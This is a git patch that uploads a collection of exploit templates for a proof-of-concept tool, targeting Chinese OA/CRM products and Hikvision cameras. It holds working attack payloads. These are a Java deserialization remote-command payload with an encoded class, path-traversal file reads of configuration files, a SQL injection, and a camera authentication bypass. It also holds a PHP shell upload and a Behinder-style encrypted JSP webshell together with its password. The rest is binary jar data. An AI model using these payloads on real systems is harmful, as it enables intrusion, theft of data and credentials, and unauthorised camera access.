From cd45c3ad210ef5050e2308115e5a1bec350e3c97 Mon Sep 17 00:00:00 2001
From: f0ng <48286013+f0ng@users.noreply.github.com>
Date: Sat, 3 Jul 2021 12:13:34 +0800
Subject: [PATCH] Add files via upload
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
首次上传
---
poc/fanwei/WorkflowServiceXml.yml | 30 +
poc/fanwei/fileread1.yml | 20 +
poc/fanwei/fileread2.yml | 20 +
poc/fanwei/sqlinject1.yml | 21 +
poc/hikvision/CVE-2017-7921.yml | 20 +
poc/turbocrm/fileread.yml | 19 +
poc/turbocrm/getshell.yml | 35 ++
poc/wanhu/frontgetshell.yml | 35 ++
poc2jar.jar | Bin 0 -> 433430 bytes
property/cmdlists.txt | 21 +
property/config.properties | 1 +
property/exetest.txt | 530 ++++++++++++++++++
property/test.txt | 10 +
.../Tomcat/CNVD-2020-10487-Tomcat-Ajp-lfi.py | 326 +++++++++++
pythonexp/Tomcat/CNVD-2020-10487-pro.py | 363 ++++++++++++
15 files changed, 1451 insertions(+)
create mode 100644 poc/fanwei/WorkflowServiceXml.yml
create mode 100644 poc/fanwei/fileread1.yml
create mode 100644 poc/fanwei/fileread2.yml
create mode 100644 poc/fanwei/sqlinject1.yml
create mode 100644 poc/hikvision/CVE-2017-7921.yml
create mode 100644 poc/turbocrm/fileread.yml
create mode 100644 poc/turbocrm/getshell.yml
create mode 100644 poc/wanhu/frontgetshell.yml
create mode 100644 poc2jar.jar
create mode 100644 property/cmdlists.txt
create mode 100644 property/config.properties
create mode 100644 property/exetest.txt
create mode 100644 property/test.txt
create mode 100644 pythonexp/Tomcat/CNVD-2020-10487-Tomcat-Ajp-lfi.py
create mode 100644 pythonexp/Tomcat/CNVD-2020-10487-pro.py
diff --git a/poc/fanwei/WorkflowServiceXml.yml b/poc/fanwei/WorkflowServiceXml.yml
new file mode 100644
index 0000000..bbd4096
--- /dev/null
+++ b/poc/fanwei/WorkflowServiceXml.yml
@@ -0,0 +1,30 @@
+method: POST
+url: $
+tlsversion: HTTP/1.1
+uri: /services%20/WorkflowServiceXml
+param:
+data: '
+
+
+
+<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9W$TW$i$fe$G$C3$M$c3b$Qa$5c$b1u$J$w$c1$ee$V$a9$VA$5c$g$d0$g$8a$Vm$ed0$5c$60$m$cc$c4$c9D$90$$v$b3$9b$ddwk$b7$97$k_$db$3eDO$7b$da$d3$87$be$d8S$l$da$3f$a8$f6$bb$93$40$J$89$da$9c$93$7b$e7$fe$eeo$bb$bf$ef$bb$bf$99$3f$fe$f9$e9W$A$f7$e3$5b$j$G$S$3a$G0$a8$e1$88$9c$8f$eax$i$c7$e4$90$d40$a4$e3$J$Mk8$ae$e2I$j$3aN$a8$Y$d1q$S$a7$a4$d9SR$f2$b4$86$d3r$7eF$87$85Q9$d8$g$c6T$I$N$e3$3a$9a1$a1aR$85$a3aJ$c5$b4$8e$Uft$ac$81$ab$c1$93sZ$Og$e4$e0k$c8$a8$It$dc$8d$ac$8a$b3$K$aa$bb$j$d7$J$f6$u$a8$8c$b5$P$x$88$f4zcBAC$c2q$c5$60vfT$f8C$d6h$8a$92h$c2$b3$ad$d4$b0$e5$3br$bd$m$M$ect$c6$b3$a7E$40$fd$e9$de$945$3f$af$60Eb$ca$3aku$a6$yw$a2$93$a2Lf7$V$tD$d0$9b$f5$7d$e1$G$c7$c4$99$ac$c8$E$D$KV$_Q$f4$c5xJ$d8A$e7$80$I$s$bd1Z$d4$dbE$ea2$81$ff$b4$8f$8cNQ$99Z$ca$b8$C$b3$8c$9b$7eG$a4$a4$X$cd$X$99$b4$e7f$98$ab$ce$U$8e$fbN$m$7c$86Vf$V4$e6$ed$i$af3$_$de$9d$d79$u$ac$b1P$a7$d2$9e$Z$x$O$9b$M$7c$c7$9d$90a3$K$9a$f2$h$d9$c0Iu$sm$cbuC$P$K$p5$_1$d9$3fg$8bt$e0x$$$f7$o$c1$a4C$c3$9a$c4x$d6$9e$3e$e7e$v$aaK$G$96$3d$3d$60$a5$c3$82$S$Q$S$40$c5$y$e1W1Gt$J$v$f1$q$60$cc$z$e9e$7d$5b$f4$3b$b2$f0F$c1E$5cF2$b0$F$5bU$9c30$8fg$Z$868$d9$G$9e$c3$f3$w$5e0p$k$_$gx$J$_$x$d8j$7b3q$db$ca$da$93$5e$dc$V$c1$ac$e7O$c7SN$s$Qn$7c$c8N$t$XqT$f1$8a$81Wq$81P$96$c0Fj$yC$d7$c0kx$9d$d5$5c$8e$O$8fa$e0$N$bci$e0$z$5c4$f06$$$d2$f6$f4$C$k$fd$96$cd2$hx$H$ef$f2$a4$G$de$c3$fb$G$3e$c0$87$y$cf$oN$qA1B$KbioV$f8b$acm$f4$5c$5b$da$L$ac$m$e3$b5$95$fd$Z$f8$I$l$e7$9d$e5$B$z$ca0$P$a4$C5$efc$tOZ$C$a6$8aO$M$7c$8a$cfdu$3fWPq$aa$c7$c0$r$7ca$e02$be4$f0$V$beV$A$b2$a0$M$d4$G$be$c1V$3a$_$60$a4$a0$f5V$3cW$d0r$L$ee$$d$U$ee$i$cb$ba$813S$e0$f0$e2$a29$d6$9e$u$d1$914$Ts$c2$s$da$b1R$e6$$58$ea$7b$b6$I$_$e7$92$c2$MM$fa$ac$WyY$b8$7d$L$eb$95E$b1$f2RZ6K$7exn$m$e6$82$90$L$J$__j$b3H$7d$c9$96$b4$v$bbA$a8R$7c$I$r$K6$df$n$f7$85$b6$o$e1$5d$a8$e4$de26$tKl$dao$d7s$aa$j$f7$ac7$cd$d2$ee$8a$956$9b$93$a5$a2$f6r$zI$935$c9$l$a3$a9$b4$M$f2$ceS$n$99M$L$df$cek5r$dd$t$b8$m$af$L$d8w$dc$e1$fc$cb$db$5c$5dF$E$3d$b6$84$d3$J$fbr$q6$o$9by$r$3d$x$d8R$e60e3$af$9a$95$b7L$S$abL$f4$e1$oF$W$c8$c3$h$ca$Q$87$dct6$a0$9e$b0fH$e8$853$f3$d6$$$d9$a0$fb$d6X$d9$N$e9$d9$c8fD$9fH93$f9$5b$7e$h$ea$$k$b7$ea$a4$95$Z$q$fb$c2$d7$d7$I$P$ee$86$8bb$ba$$$b6$ed$864$l$82$b0$e5$O$f9$96$z$b0$R$9b$f9$82$95$3fvn$d9E9$c6$80$8avT$a3$96$d2$bf$b7$5d$85r$N$V$d1$ca$i$o$c7$af$a1$w$87$ea$a8$9a$83$96$d8$k$ad$a9$fc$Fz$O$b5$D$3b$U$3e$Z9$d4$Nv$e4P$9fCC$b41$87$V$5d$R3$S$c9$njF$um$ea$aa2i$5b$l$5dY0$ea$aa6$ab$cd$aa$82$ddoh$eeRM5$ba$w$87$W$e9$o$da$g$a1$d6$89$ca$a8$99$94$aa$9a$a9uP$60P$b0$3a$Z$aa$9b$5d5$3fc$cd$J$sf$d60$b1$i$d6$5e$c5$ba$e8$fa$i6t$e9$a6j2$40$db$r$d4$cay$e3$VTE$ef$a2$df$x2$e7$i6$fd$c0$TFp$j$7f$f2$D$a0$S$ed$3c$e3$m$9a8$g$94$d6$a3$O$N0$d1$88MX$818$a2$e8$e6$de$3e$ac$c4a$7ea$8c$60$V$a6$d0$823h$c5$Fj$5d$c2j$fc$c8$_$8a$ebXOokq$D$eb$f0$X6$60$h$bd$cd$d3$9f$89$ef$b1$j$3b$Yo$T$beC$H$fdU$f0$7f$Z$9d$d8$c9$c8$dd$ec$fc$f7$e0$5eF$3d$cc7$d4$7d$94U1$82$c7O$a58k$3f$85$d3x$A$PBe$a4$3e$3cD$99$c6x$3b$f10v$a1$86Q$5b$d0$85$dd$fc$g$baA$fbn$3c$c2$Y$c4$K$7b$f0$u$e7$bd$fc$3b$88$dc$c4$ef$a8U$d1$a3b$9f$8a$5e$V$7d$w$f6$87$p$9f$fb$c3$f1$80$8a$83P$b8$baI$fb$ff$a1Z$R$ae$O$dcd$a6$b4$ea$91$c3$a1$IM$P3$60$F$k$fb$X$9f$s$83$aa$ec$J$A$A
</string>
</a>
</outer-class>
</names>
<processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
<parent class='sun.misc.Launcher$ExtClassLoader'>
</parent>
<package2certs class='hashtable'/>
<classes defined-in='java.lang.ClassLoader'/>
<defaultDomain>
<classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
</key>
</defaultDomain>
<domains class="java.util.Collections$SynchronizedSet" serialization="custom">
<java.util.Collections_-SynchronizedCollection>
<default>
<c class="set"></c>
<mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/>
</default>
</java.util.Collections_-SynchronizedCollection>
</domains> <packages/>
<nativeLibraries/>
<assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<classes/>
<ignored__packages>
<string>java.</string>
<string>javax.</string>
<string>sun.</string>
</ignored__packages>
<repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
<__path>
<paths/>
<class__path>.</class__path>
</__path>
<__loadedClasses/>
</repository>
<deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
+ 2
+
+
+'
+others:
+ Upgrade-Insecure-Requests: 1
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
+ Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
+ Accept-Language: zh-CN,zh;q=0.9
+ Cookie: ecology_JSessionid=aaaZq4kZ8A5s8a400gOHx; JSESSIONID=aaaZq4kZ8A5s8a400gOHx; __randcode__=5673423c-9aa3-4af0-afb1-340bb3538838
+ Connection: close
+ potats0: ipconfig
+ Content-Type: text/xml;charset=UTF-8
+ Content-Length: 36869
+condition:
+ words: powered by
+ time:
+expinformation:
+ expname: 泛微命令执行
+ expdescribe: 泛微/services%20/WorkflowServiceXml执行命令
diff --git a/poc/fanwei/fileread1.yml b/poc/fanwei/fileread1.yml
new file mode 100644
index 0000000..179f590
--- /dev/null
+++ b/poc/fanwei/fileread1.yml
@@ -0,0 +1,20 @@
+method: GET
+url: $
+tlsversion: HTTP/1.1
+uri: /weaver/org.springframework.web.servlet.ResourceServlet
+param: resource=/WEB-INF/prop/weaver.properties
+data: |
+
+others:
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
+ Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
+ Accept-Language: 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
+ Accept-Encoding: gzip, deflate
+ Connection: keep-alive
+ Upgrade-Insecure-Requests: 1
+condition:
+ words: ecology.url
+ time:
+expinformation:
+ expname: 泛微读取文件-1
+ expdescribe: 泛微读取文件,/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties
\ No newline at end of file
diff --git a/poc/fanwei/fileread2.yml b/poc/fanwei/fileread2.yml
new file mode 100644
index 0000000..52941be
--- /dev/null
+++ b/poc/fanwei/fileread2.yml
@@ -0,0 +1,20 @@
+method: GET
+url: $
+tlsversion: HTTP/1.1
+uri: /weaver/ln.FileDownload
+param: fpath=../ecology/WEB-INF/prop/weaver.properties
+data: |
+
+others:
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
+ Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
+ Accept-Language: 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
+ Accept-Encoding: gzip, deflate
+ Connection: keep-alive
+ Upgrade-Insecure-Requests: 1
+condition:
+ words: ecology.url
+ time:
+expinformation:
+ expname: 泛微读取文件-2
+ expdescribe: 泛微读取文件,/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/prop/weaver.properties
\ No newline at end of file
diff --git a/poc/fanwei/sqlinject1.yml b/poc/fanwei/sqlinject1.yml
new file mode 100644
index 0000000..1c6d07f
--- /dev/null
+++ b/poc/fanwei/sqlinject1.yml
@@ -0,0 +1,21 @@
+method: GET
+url: $
+tlsversion: HTTP/1.1
+uri: /js/hrm/getdata.jsp
+param: cmd=forgotPasswordCheck&type=1&loginid=sysadmin111111%27%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0aunion+select+ascii(1),%272%27,%273%27,%274%27,%275%27,%276%27+where+%27%27=%27
+data: |
+
+others:
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
+ Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
+ Accept-Language: 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
+ Accept-Encoding: gzip, deflate
+ Connection: keep-alive
+ Upgrade-Insecure-Requests: 1
+condition:
+ words: >
+ "id":49
+ time:
+expinformation:
+ expname: 泛微注入-2
+ expdescribe: 泛微注入,/js/hrm/getdata.jsp
\ No newline at end of file
diff --git a/poc/hikvision/CVE-2017-7921.yml b/poc/hikvision/CVE-2017-7921.yml
new file mode 100644
index 0000000..31245a6
--- /dev/null
+++ b/poc/hikvision/CVE-2017-7921.yml
@@ -0,0 +1,20 @@
+method: GET
+url: $
+tlsversion: HTTP/1.1
+uri: /onvif-http/snapshot
+param: auth=YWRtaW46MTEK
+data: |
+
+others:
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
+ Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
+ Accept-Language: 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
+ Accept-Encoding: gzip, deflate
+ Connection: keep-alive
+ Upgrade-Insecure-Requests: 1
+condition:
+ words: Content-Type:image/jpeg
+ time:
+expinformation:
+ expname: hikvision
+ expdescribe: hikvision/CVE-2017-7921.yml,返回的为查看的图像(访问该链接可以直接查看海康威视的监控截图/onvif-http/snapshot?auth=YWRtaW46MTEK;访问该链接可以直接查看海康威视的用户列表/Security/users?auth=YWRtaW46MTEK;访问该链接可以直接获取海康威视的配置文件/System/configurationFile?auth=YWRtaW46MTEK)
\ No newline at end of file
diff --git a/poc/turbocrm/fileread.yml b/poc/turbocrm/fileread.yml
new file mode 100644
index 0000000..e98940a
--- /dev/null
+++ b/poc/turbocrm/fileread.yml
@@ -0,0 +1,19 @@
+method: GET
+url: $
+tlsversion: HTTP/1.1
+uri: /ajax/getemaildata.php
+param: DontCheckLogin=1&filePath=c:/windows/system32/drivers/etc/hosts
+data: |
+
+others:
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
+ Accept: text/html,application/xhtml+xml,application/xml;q
+ Accept-Language: zh-CN,zh;q
+ Accept-Encoding: gzip, deflate
+ Upgrade-Insecure-Requests: 1
+condition:
+ words: Copyright
+ time:
+expinformation:
+ expname: TurboCRM文件读取
+ expdescribe: TurboCRM文件读取,路径为/ajax/getemaildata.php
\ No newline at end of file
diff --git a/poc/turbocrm/getshell.yml b/poc/turbocrm/getshell.yml
new file mode 100644
index 0000000..32ea48a
--- /dev/null
+++ b/poc/turbocrm/getshell.yml
@@ -0,0 +1,35 @@
+method: POST
+url: $
+tlsversion: HTTP/1.1
+uri: /ajax/getemaildata.php
+param: DontCheckLogin=1
+data: |
+ -----------------------------344329421119612311021814993770
+ Content-Disposition: form-data; name="file"; filename="shell.php "
+ Content-Type: text/php
+
+
+
+ -----------------------------344329421119612311021814993770
+ Content-Disposition: form-data; name="upload"
+
+ upload
+ -----------------------------344329421119612311021814993770--
+others:
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
+ Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
+ Accept-Language: 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
+ Accept-Encoding: gzip, deflate
+ Content-Type: 'multipart/form-data; boundary=---------------------------344329421119612311021814993770'
+ Content-Length: 386
+ Connection: keep-alive
+ Cookie: 'PHPSESSID=c7vlvgf1hhc8uat6r2nnu57333'
+ Upgrade-Insecure-Requests: 1
+condition:
+ words: tmpfile
+ time:
+expinformation:
+ expname: TurboCRM任意文件上传
+ expdescribe: TurboCRM任意文件上传,路径为返回的tmpfile/mh70D7.tmp.mht换为tmpfile/upd70D6.tmp.php
\ No newline at end of file
diff --git a/poc/wanhu/frontgetshell.yml b/poc/wanhu/frontgetshell.yml
new file mode 100644
index 0000000..e50014e
--- /dev/null
+++ b/poc/wanhu/frontgetshell.yml
@@ -0,0 +1,35 @@
+method: POST
+url: $
+tlsversion: HTTP/1.1
+uri: /defaultroot/officeserverservlet
+param:
+data: |
+ DBSTEP V3.0 185 0 611
+ DBSTEP=REJTVEVQ
+ OPTION=U0FWRUZJTEU=
+ RECORDID=
+ firstFilesize=dHJ1ZQ==
+ isDoc=dHJ1ZQ==
+ moduleType=aW5mb3JtYXRpb24=
+ FILETYPE=Ly4uLy4uL3B1YmxpYy9lZGl0L3RhMi5qc3A=
+ isViewOld=MQ==
+
+ <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
+ <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
+ <%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);
+ Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
+ new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
+others:
+ User-Agent: Go-http-client/1.1
+ Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'
+ Accept-Encoding: gzip, deflate
+ Accept-Language: 'zh-CN,zh;q=0.9,en;q=0.8'
+ Connection: close
+ Upgrade-Insecure-Requests: 1
+ Content-Length: 790
+condition:
+ words: DBSTEP
+ time:
+expinformation:
+ expname: 万户getshell
+ expdescribe: 万户getshell，可能需要代理模式下进行使用，默认冰蝎马，密码为rebeyond
\ No newline at end of file
diff --git a/poc2jar.jar b/poc2jar.jar
new file mode 100644
index 0000000000000000000000000000000000000000..82435bfdf907ffdfe3349dac73f5b84071cbc29a
GIT binary patch
literal 433430
zcmb@t19)ZG(l?%tZQHhO+qP{d9ouHdPRF*=DIj1-0B~?{0EY5iMP_SJZ+`#)fUNf$`Tdp=Q5K+)kQJqq5s;M-
z6;V>Al@S$*?uG25hZnwr`UdyxAC#0YZfj#F*psNHkx>aVL@uFuf5j5vj*h-*gf2BB
z_bHOwar6x}+B`}0c$WQJ@*Ex>AYTf#4`802H+h{eCc}w)l>j=TlEGu%M%GYza8YuB
z`GRWWR&=75TNxWyk=#VFK+S#uHsFEvz}F2G5O8ohc_}dPKME@U+Y|u60e+jpyVU=_
zAl{$;J%#^}-6mkk{F~_m6B`R>=Up$6t)V(VmKXZtHG?SIAo
zTxA0zXIndG1Lt>UzmVe}UX#hY9FDdIzfw*7f0p7mq@ji9FUF<*U!V;QoJ?4mh3t%f
z`QrYY9PexK3pvRCiyS}EW_EUF)+WDTLi4|8VrFdMZ14+KjQ>wrxj0+=>Me2nzvA~k
zYnxxH4e$RKwm;wNFO~rR?|EC;Iy>4q*_-^A4d5T_*!EqEeq~etV8`|bj=$cl{sHG`
zV(@FN{fAA?(Zt@-#OZzS_@&DKgVDYt?W|pYiTsD{(aFfb*7ldcf7q|y7stZD+QRdf
z*ne0fXFIF+z3vx^@Y7}f+co{i=ln(E(<7Dd*59>u2nH8-OLl)S9gC_Kx*=zv=&;$8Rs=
zKMHJbXG3f6X!rh}oh?k9aK<}-#>D{JJaP`xJZZp|6wdGn4#$Ob_BK@v=yU`!16`eb
zXKdaR>1m9pb@Vpy^@(ZrU5VP{PtBhw*Z3)vk2IK#jM;&p@vY=Uq=
z3}wGTFeK|eOggA75KhsSkTsN)GS6#hI3Sm|ofWjujA4~0Buf*7LWXQu+n{lF8*|la
z0`Z*gg!HN_+Il>+U``OL8^3Dqw(+^?C`o^O+j{OYIy~UxeP#xz7{sGgzW^K{fn03C
zj~ycbm`UvhYy~KZfX$)eluO#g=dQ^(#?8%Yy~nqF_wl_-M{kH3#Hoit|HqE
zH=BjAl{A~>u5%%3VJOwz~RzKxHoU_T3Dgl-b3o3|~dLm#6?
z`NV)Gd`xh!OV+KliKHIGoMSjEQN!)DnRivKw~c-%-7E`}?T4f~w7L$xpYWZS
z78ib$jE+Qyg1zNdeP%Q_`tdl8n~J^gJ+*AKA^r~3hiyhf{(<;#)qpnM&xrfMNd
zPaG;GIrvknsL*(qkutXeSk1Rl73TG#K==mFJC{rlPL06bj3}iC$@x>osB1ay(v-SBAi_r#(2XH-CItabqeg_&#K+Yz
z;_5`l
zshaXwhd+XPYnJ9_fDfrdpq_kbQ?(d@;O;klq$Zdg(9(*LVv@g|#66cDm>m1)0_qvT
z+$Ao-gv_j^v768y{Jf}zNyG(QZ|@V6l8#e0&&IvZ!HNt01XQ~*)LvLcy&|U!CDBB*
zTIyQpks4cXR=Us^r(C>0*fQ@JQMC8EOFZWqK}X~d-i-2GTLa5~G-{(^PhOx|A=WXX
zm>;gunoNcO6yu;51apXNMBFb$_?>_OX$I~-M7xrSXu{3M{o8mCCE*FHRhNAGR<%e$
zx-JNaV68YiXVnSK=UQ#?D@;b4=86f%i{i!D*Fdh8O3isZh_GE5W*Ag_i!opeE$g(k
zE^Jk#%#Srp;0N-4HEBQmD4
zX05bm(z#t9$abxl_t{*Fpj7u-sk|cVmh6_?)KmJv@>TD`xEBPlmANzd2n=dntD@Km
zX?k*P3S@OgxZPf~#{pD_$d$Uo{pd(l+Xx+2enrGBc-22JhzF;z$?a?(GY>EAJBNk=
zdp+N2^q;1;D0a0b#QcmiYgu5_r7s^jKlETl@LUm&E~XMJ*T+Js4V9y~!}-(zi5D14
zL@mwdmq`XF5buLyJ&TIc9rZ}{gyOBjac?F%U!b
z#DdZt16TG$&zs*@a1Dck8zM%|sm^lHu`Mww(CTW13}1m<^awmr$EMGVdoaeP{7R}_
zy$ykaXOzVkv!%Er_7oIBw(=}V<0-p|s%9@asC12kBG*qv*#SVO0GFer)wh3WDya;KZwks0h}f
z$p@`reL6D+$I%je6sa2JK}hdlS%nZBa2Y2r9Sa;Nru$uRsXA5Y{k0_LW=kSoN)nm&
zjP?5NM7fhEsRC8{#dMlIEpSP?0}0oc*REVTLOr5afV^qvz?WrhcIFFw+_3`H<@8M<
zV^KriBcz;mLIX{N%ypq&no;@`>>}gcB$@%my-%!hMxgo1rXg_kKORE@5^o*+x|t4J
z&%h8+6XP&1~(y$Kk$@X+T#`w0-c`)qvf;#;Ql-trGkpf*%LquUzbuQ~|RvCl1M
z;br9&HP)kXl}Q>xnkb%EB1sRS&AD18Ds1GcK0=9i$;K}QsdAPb&s-fp)8BkK!NOY-
zRGws>oUJM>>|9J@UuVOJwlH$0>Phoo-gnh=?tZ(dUEfW{xl_Ej90#>6876jgI2|KL
z3_5Ls&NY5`^`kbMyRh)Qvhl1;IQY0fPN&SKo-zJON`x$B%`6)3@dL?4G{ZBP3Ofl?
zQQ@LNH{EIhPWX+N2}2<(mgw-up^9pt*0F0a5v`Ul6<^=J$6p%|Fwm7v4$){-wtqz1
zvA#Urs6)ydN+``n2Ep{I5+~RnB(aTr%!y=VZf|IIHjS)PyPxIgs@PuOqERbpQfT$<
z+673UCOKvDPLuMzBINas$9*|g2X3s~^->uPji;^-DQBWok5yjWicthVwQxvxp_j9G
zWium9X)nY&0!^@l1YM5TI!nR_)Ts8~qF
z^b1CeGaIjrR#ilz$s;>vyRu87ytwt;rRRf%a;FX#qKGwdAdeLSkwY6Yh<^+c@Mhp3
z?@5l6ljY1=cShhiadcFoLy(bNBG+NTJCzpg(y6njXeF=Lwpq?KP;Kt;uka|4Sho~f
zx3oaaW}wN;bqOtG5pFmiN3*DNP^EkncwyD`R$KCVHbm|Q3t+r4F6ObFP8PFZ-`h+1;k)wqD0-_CUCr|t&hVHK?2<`)-;GQVEp;Z{xEFsWM
